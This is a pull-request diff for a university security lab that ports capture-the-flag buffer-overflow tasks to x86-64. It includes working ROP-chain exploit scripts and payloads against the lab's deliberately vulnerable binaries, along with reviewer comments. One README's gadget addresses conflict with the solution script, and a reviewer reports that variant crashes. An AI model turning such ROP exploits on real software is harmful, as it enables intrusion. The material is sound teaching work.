Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
10 changes: 10 additions & 0 deletions labs/lab-12/tasks/feeling-chained/.gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
# Binaries
solution/buff-ovf3
support/buff-ovf3

# Object files
*.o

# Build artifacts
solution/obfuscator
solution/deobfuscator
8 changes: 4 additions & 4 deletions labs/lab-12/tasks/feeling-chained/solution/Makefile
Original file line number Diff line number Diff line change
@@ -1,17 +1,17 @@
CC = gcc
CFLAGS = -g -m32 -z execstack -fno-PIC -fno-stack-protector
LDFLAGS = -no-pie -m32
CFLAGS = -g -m64 -z execstack -fno-PIC -fno-stack-protector
LDFLAGS = -no-pie -m64 -static
SRC_DIR = .
TARGET = buff-ovf3
OBJ = buff-ovf3.o

all: $(TARGET)

obfuscator: $(SRC_DIR)/obfuscator.c
$(CC) -o $@ $< -m32 -fno-stack-protector -z execstack -no-pie -Wall
$(CC) -o $@ $< -m64 -fno-stack-protector -z execstack -no-pie -Wall

deobfuscator: $(SRC_DIR)/deobfuscator.c
$(CC) -o $@ $< -m32 -fno-stack-protector -z execstack -no-pie -Wall
$(CC) -o $@ $< -m64 -fno-stack-protector -z execstack -no-pie -Wall

$(TARGET): $(OBJ)
$(CC) $(LDFLAGS) $(OBJ) -o $(TARGET)
Expand Down
53 changes: 52 additions & 1 deletion labs/lab-12/tasks/feeling-chained/solution/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,57 @@ By using the buffer overflow in `gateway()`, functions `f1(56, 13)` and `f3(13)`
`f3` is the one that actually calls `get_flag()`.
Calling `get_flag()` directly shouldn't work (a global variable is checked to make sure all steps were made).

## x86-64 (64-bit) Solution
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
## x86-64 (64-bit) Solution

All is 64 bits, no need to write it.


In x86-64, function parameters are passed through registers:

- First parameter: `RDI`
- Second parameter: `RSI`

We need a ROP (Return-Oriented Programming) chain to:

1. Call `f1(56, 13)` by setting `RDI=56` and `RSI=13`
1. Call `f3(13)` by setting `RDI=13`

With static linking, natural ROP gadgets from libc are available:

- `pop rdi; pop rbp; ret` at `0x4022c8`
- `pop rsi; pop rbp; ret` at `0x4050a6`

Since these gadgets also pop RBP, we need dummy values after each parameter.
Comment on lines +24 to +29
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Add a section in the lab's reading/ file about ROPgadget and instruct students how to install and use it:

teo@astrocat support $ pip3 install ROPgadget
teo@astrocat support $ ROPgadget --binary buff-ovf3 | grep 'pop rdi'
0x00000000004013d8 : cli ; push rbp ; mov rbp, rsp ; pop rdi ; ret
0x00000000004013d5 : endbr64 ; push rbp ; mov rbp, rsp ; pop rdi ; ret
0x00000000004013db : mov ebp, esp ; pop rdi ; ret
0x00000000004013da : mov rbp, rsp ; pop rdi ; ret
0x00000000004013dd : pop rdi ; ret
0x00000000004013d9 : push rbp ; mov rbp, rsp ; pop rdi ; ret
teo@astrocat support $ ROPgadget --binary buff-ovf3 | grep 'pop rsi'
0x00000000004013e5 : cli ; push rbp ; mov rbp, rsp ; pop rsi ; ret
0x00000000004013e2 : endbr64 ; push rbp ; mov rbp, rsp ; pop rsi ; ret
0x00000000004013e8 : mov ebp, esp ; pop rsi ; ret
0x00000000004013e7 : mov rbp, rsp ; pop rsi ; ret
0x00000000004013ea : pop rsi ; ret
0x00000000004013e6 : push rbp ; mov rbp, rsp ; pop rsi ; ret

ROPgadget is cool because it also looks at arbitrary offsets in the text section so those instructions may not exist explicitly, for example the end of an instruction + the beginning of the next one can create a gadget.

In addition, using pop rbp fucks up the stack and the solution script causes seg faults with no result.


The exploit payload structure:

```text
[18 bytes padding] +
[pop rdi; pop rbp; ret] + [56] + [dummy] + # Set RDI = 56
[pop rsi; pop rbp; ret] + [13] + [dummy] + # Set RSI = 13
[f1 address] + # Call f1(56, 13)
[pop rdi; pop rbp; ret] + [13] + [dummy] + # Set RDI = 13
[f3 address] # Call f3(13)
```

Run the exploit:

```sh
./exploit.sh | ./buff-ovf3
```

Or using Python:

```sh
python3 -c 'import sys; sys.stdout.buffer.write(b"A"*22 + b"\x56\x93\x04\x08" + b"\x00\x93\x04\x08" + b"\x38\x00\x00\x00" + b"\x0d\x00\x00\x00")' | ./buff-ovf3
python3 -c 'import sys; sys.stdout.buffer.write(
b"A"*18 +
b"\xc8\x22\x40\x00\x00\x00\x00\x00" +
b"\x38\x00\x00\x00\x00\x00\x00\x00" +
b"\x00\x00\x00\x00\x00\x00\x00\x00" +
b"\xa6\x50\x40\x00\x00\x00\x00\x00" +
b"\x0d\x00\x00\x00\x00\x00\x00\x00" +
b"\x00\x00\x00\x00\x00\x00\x00\x00" +
b"\x7f\x1a\x40\x00\x00\x00\x00\x00" +
b"\xc8\x22\x40\x00\x00\x00\x00\x00" +
b"\x0d\x00\x00\x00\x00\x00\x00\x00" +
b"\x00\x00\x00\x00\x00\x00\x00\x00" +
b"\x31\x1a\x40\x00\x00\x00\x00\x00"
)' | ./buff-ovf3
```
2 changes: 2 additions & 0 deletions labs/lab-12/tasks/feeling-chained/solution/buff-ovf3.c
Original file line number Diff line number Diff line change
Expand Up @@ -79,6 +79,8 @@ void gateway(void)

int main(void)
{
/* Make stdout unbuffered to ensure output is written immediately */
setvbuf(stdout, NULL, _IONBF, 0);
gateway();

return 0;
Expand Down
42 changes: 31 additions & 11 deletions labs/lab-12/tasks/feeling-chained/solution/exploit.sh
Original file line number Diff line number Diff line change
@@ -1,22 +1,42 @@
#!/bin/bash
# SPDX-License-Identifier: BSD-3-Clause

# TODO set the correct padding length and values of addresses and stack variables
# x86-64 ROP chain exploit
# Padding: 10 bytes buffer + 8 bytes saved RBP = 18 bytes

padding_length="22"
first_address="\x56\x93\x04\x08"
second_address="\x00\x93\x04\x08"
first_value="\x38\x00\x00\x00"
second_value="\x0d\x00\x00\x00"
padding_length="18"

# build payload
# Gadgets and function addresses (little-endian 64-bit)
pop_rdi="\xc8\x22\x40\x00\x00\x00\x00\x00" # 0x4022c8: pop rdi; pop rbp; ret
pop_rsi="\xa6\x50\x40\x00\x00\x00\x00\x00" # 0x4050a6: pop rsi; pop rbp; ret
f1_addr="\x7f\x1a\x40\x00\x00\x00\x00\x00" # 0x401a7f: f1
f3_addr="\x31\x1a\x40\x00\x00\x00\x00\x00" # 0x401a31: f3

# Values for parameters
val_56="\x38\x00\x00\x00\x00\x00\x00\x00" # 56 (0x38)
val_13="\x0d\x00\x00\x00\x00\x00\x00\x00" # 13 (0x0d)
dummy="\x00\x00\x00\x00\x00\x00\x00\x00" # Dummy value for pop rbp

# Build ROP chain payload
# 1. Set RDI = 56, dummy for pop rbp
# 2. Set RSI = 13, dummy for pop rbp
# 3. Call f1
# 4. Set RDI = 13, dummy for pop rbp
# 5. Call f3

payload=""
payload+=$(yes "A" | head -n "$padding_length" | paste -sd "")
payload+="$first_address"
payload+="$second_address"
payload+="$first_value"
payload+="$second_value"
payload+="$pop_rdi"
payload+="$val_56"
payload+="$dummy"
payload+="$pop_rsi"
payload+="$val_13"
payload+="$dummy"
payload+="$f1_addr"
payload+="$pop_rdi"
payload+="$val_13"
payload+="$dummy"
payload+="$f3_addr"

# print payload to stdout

Expand Down
16 changes: 12 additions & 4 deletions labs/lab-12/tasks/feeling-chained/solution/solve.sh
Original file line number Diff line number Diff line change
@@ -1,7 +1,15 @@
#!/bin/bash
# SPDX-License-Identifier: BSD-3-Clause

python3 -c 'import sys; sys.stdout.buffer.write(b"A"*22 + b"\x56\x93\x04\x08"
+ b"\x00\x93\x04\x08"
+ b"\x38\x00\x00\x00"
+ b"\x0d\x00\x00\x00")' | ../support/buff-ovf3
# x86-64 ROP chain exploit
python3 -c 'import sys; sys.stdout.buffer.write(
b"A"*18 + # padding
b"\xdd\x13\x40\x00\x00\x00\x00\x00" + # pop rdi; ret
b"\x38\x00\x00\x00\x00\x00\x00\x00" + # 56 (first param for f1)
b"\xea\x13\x40\x00\x00\x00\x00\x00" + # pop rsi; ret
b"\x0d\x00\x00\x00\x00\x00\x00\x00" + # 13 (second param for f1)
b"\x6c\x13\x40\x00\x00\x00\x00\x00" + # f1 address
b"\xdd\x13\x40\x00\x00\x00\x00\x00" + # pop rdi; ret
b"\x0d\x00\x00\x00\x00\x00\x00\x00" + # 13 (param for f3)
b"\x16\x13\x40\x00\x00\x00\x00\x00" # f3 address
)' | ../support/buff-ovf3
Binary file modified labs/lab-12/tasks/feeling-chained/support/buff-ovf3
Binary file not shown.
42 changes: 32 additions & 10 deletions labs/lab-12/tasks/feeling-chained/support/exploit.sh
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Remove the solution from here.

Original file line number Diff line number Diff line change
@@ -1,22 +1,44 @@
#!/bin/bash
# SPDX-License-Identifier: BSD-3-Clause

# TODO set the correct padding length and values of addresses and stack variables
# x86-64 ROP chain exploit

# TODO: Set the correct padding length for x86-64

padding_length=""
first_address=""
second_address=""
first_value=""
second_value=""

# build payload
# TODO: Find gadget addresses using objdump (little-endian 64-bit format)

pop_rdi=""
pop_rsi=""

# TODO: Find function addresses

f1_addr=""
f3_addr=""

# TODO: Set parameter values (64-bit little-endian)

val_56=""
val_13=""
dummy=""

# Build ROP chain payload
# Note: Gadgets like "pop rdi; pop rbp; ret" require dummy values after parameters

payload=""
payload+=$(yes "A" | head -n "$padding_length" | paste -sd "")
payload+="$first_address"
payload+="$second_address"
payload+="$first_value"
payload+="$second_value"
payload+="$pop_rdi"
payload+="$val_56"
payload+="$dummy"
payload+="$pop_rsi"
payload+="$val_13"
payload+="$dummy"
payload+="$f1_addr"
payload+="$pop_rdi"
payload+="$val_13"
payload+="$dummy"
payload+="$f3_addr"

# print payload to stdout

Expand Down
13 changes: 13 additions & 0 deletions labs/lab-12/tasks/hidden-in-plain-sight-1/.gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
# Binaries
solution/main
support/main

# Object files
*.o

# Build artifacts
solution/obfuscator
solution/deobfuscator

# Keep the precompiled link object (should be tracked)
!support/link
8 changes: 4 additions & 4 deletions labs/lab-12/tasks/hidden-in-plain-sight-1/solution/Makefile
Original file line number Diff line number Diff line change
@@ -1,16 +1,16 @@
CC = gcc
CFLAGS = -g -m32 -z execstack -fno-PIC -fno-stack-protector
LDFLAGS = -no-pie -m32
CFLAGS = -g -m64 -z execstack -fno-PIC -fno-stack-protector
LDFLAGS = -no-pie -m64
SRC_DIR = .
TARGET = main

all: $(TARGET)

obfuscator: $(SRC_DIR)/obfuscator.c
$(CC) -o $@ $< -m32 -fno-stack-protector -z execstack -no-pie -Wall
$(CC) -o $@ $< -m64 -fno-stack-protector -z execstack -no-pie -Wall

deobfuscator: $(SRC_DIR)/deobfuscator.c
$(CC) -o $@ $< -m32 -fno-stack-protector -z execstack -no-pie -Wall
$(CC) -o $@ $< -m64 -fno-stack-protector -z execstack -no-pie -Wall

link: $(SRC_DIR)/link.c
$(CC) $(CFLAGS) -c -o $@ $<
Expand Down
16 changes: 14 additions & 2 deletions labs/lab-12/tasks/hidden-in-plain-sight-1/solution/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,19 @@ This is a clear indicator that we have to find a way to call it ourselves.

We define a `get_flag()` function prototype as void (you may be able to skip this step, but there will be an implicit declaration error during compilation) and we call it in our main function.
We then compile and assemble the file:
`gcc -g -m32 -fno-PIC -c main.c`

```bash
gcc -g -m64 -fno-PIC -c main.c
```

We then link it to the `link` binary:
`gcc -no-pie -m32 link main.o -o a.out`

```bash
gcc -no-pie -m64 link main.o -o a.out
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Update the link object file to be compiled on 64 bits.

```

Run the executable:

```bash
./a.out
```
Binary file modified labs/lab-12/tasks/hidden-in-plain-sight-1/support/link
Binary file not shown.
13 changes: 13 additions & 0 deletions labs/lab-12/tasks/hidden-in-plain-sight-2/.gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
# Binaries
solution/main
support/main

# Object files
*.o

# Build artifacts
solution/obfuscator
solution/deobfuscator

# Keep the precompiled link2 object (should be tracked)
!support/link2
8 changes: 4 additions & 4 deletions labs/lab-12/tasks/hidden-in-plain-sight-2/solution/Makefile
Original file line number Diff line number Diff line change
@@ -1,16 +1,16 @@
CC = gcc
CFLAGS = -g -m32 -z execstack -fno-PIC -fno-stack-protector
LDFLAGS = -no-pie -m32
CFLAGS = -g -m64 -z execstack -fno-PIC -fno-stack-protector
LDFLAGS = -no-pie -m64
SRC_DIR = .
TARGET = main

all: $(TARGET)

obfuscator: $(SRC_DIR)/obfuscator.c
$(CC) -o $@ $< -m32 -fno-stack-protector -z execstack -no-pie -Wall
$(CC) -o $@ $< -m64 -fno-stack-protector -z execstack -no-pie -Wall

deobfuscator: $(SRC_DIR)/deobfuscator.c
$(CC) -o $@ $< -m32 -fno-stack-protector -z execstack -no-pie -Wall
$(CC) -o $@ $< -m64 -fno-stack-protector -z execstack -no-pie -Wall

link2: $(SRC_DIR)/link.c
$(CC) $(CFLAGS) -c -o $@ $<
Expand Down
40 changes: 16 additions & 24 deletions labs/lab-12/tasks/hidden-in-plain-sight-2/solution/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -5,31 +5,23 @@ parent: 'Task: Hidden in Plain Sight 2'

# Solution

In a nature similar to that of the previous exercise, we take a close look at the `objdump` disassembly output of the binary using the `objdump -D -M intel link2` command, specifically focusing on the `helper()` function:

```asm
0000012b <helper>:
(...)
137: 83 7d 08 2a cmp dword ptr [ebp + 8], 42
13b: 75 0d jne 0x14a <helper+0x1f>
13d: 80 7d f4 58 cmp byte ptr [ebp - 12], 88
141: 75 07 jne 0x14a <helper+0x1f>
143: e8 b8 fe ff ff call 0x0 <get_flag>
```
In a nature similar to that of the previous exercise, we take a close look at the `objdump` disassembly output of the binary using the `objdump -D -M intel link2` command, specifically focusing on the `helper()` function.

The first `cmp` instruction at `0x137` compares the value at `[ebp + 8]` with `42`.
This implies that the first argument passed to the helper() function is expected to be `42`.
The second `cmp` instruction at `0x13d` compares the value at `[ebp - 12]` with `88`.
Since it's comparing a single byte (`byte ptr`), we can infer that this corresponds to a `char` argument.
Although it appears to be a local variable, if we look around a bit, we will notice why that is:
In x86-64, the first two integer arguments are passed in `rdi` and `rsi` registers (not on the stack as in 32-bit).

```asm
131: 8b 45 0c mov eax, dword ptr [ebp + 12]
134: 88 45 f4 mov byte ptr [ebp - 12], al
```
Looking at the disassembly, you'll find comparisons like:

- The first argument (in `rdi` or saved to stack) is compared with `42`
- The second argument (a `char` in `sil` - lower byte of `rsi`) is compared with `88` (ASCII 'X')

The value at `[ebp + 12]` is moved into the `eax` register - this corresponds to the second argument passed to the `helper` function.
The lower byte of `eax`, `al`, the `char` that we are interested in, is then moved into a local variable.
If both comparisons are successful, the `get_flag()` function is called.

If both of the aforementioned comparisons are successful, the `get_flag()` function is called.
Hence, we can infer that we need to call the `helper()` function using the two arguments above - the integer `44`, and the char `X`, which is `88` in decimal.
Hence, we need to call the `helper()` function with two arguments: the integer `42`, and the char `'X'` (88 in decimal).

Compile and link:

```bash
gcc -g -m64 -fno-PIC -c main.c
gcc -no-pie -m64 link2 main.o -o a.out
./a.out
```
Binary file modified labs/lab-12/tasks/hidden-in-plain-sight-2/support/link2
Binary file not shown.
10 changes: 10 additions & 0 deletions labs/lab-12/tasks/indirect-business/.gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
# Binaries
solution/buff-ovf
support/buff-ovf

# Object files
*.o

# Build artifacts
solution/obfuscator
solution/deobfuscator
Loading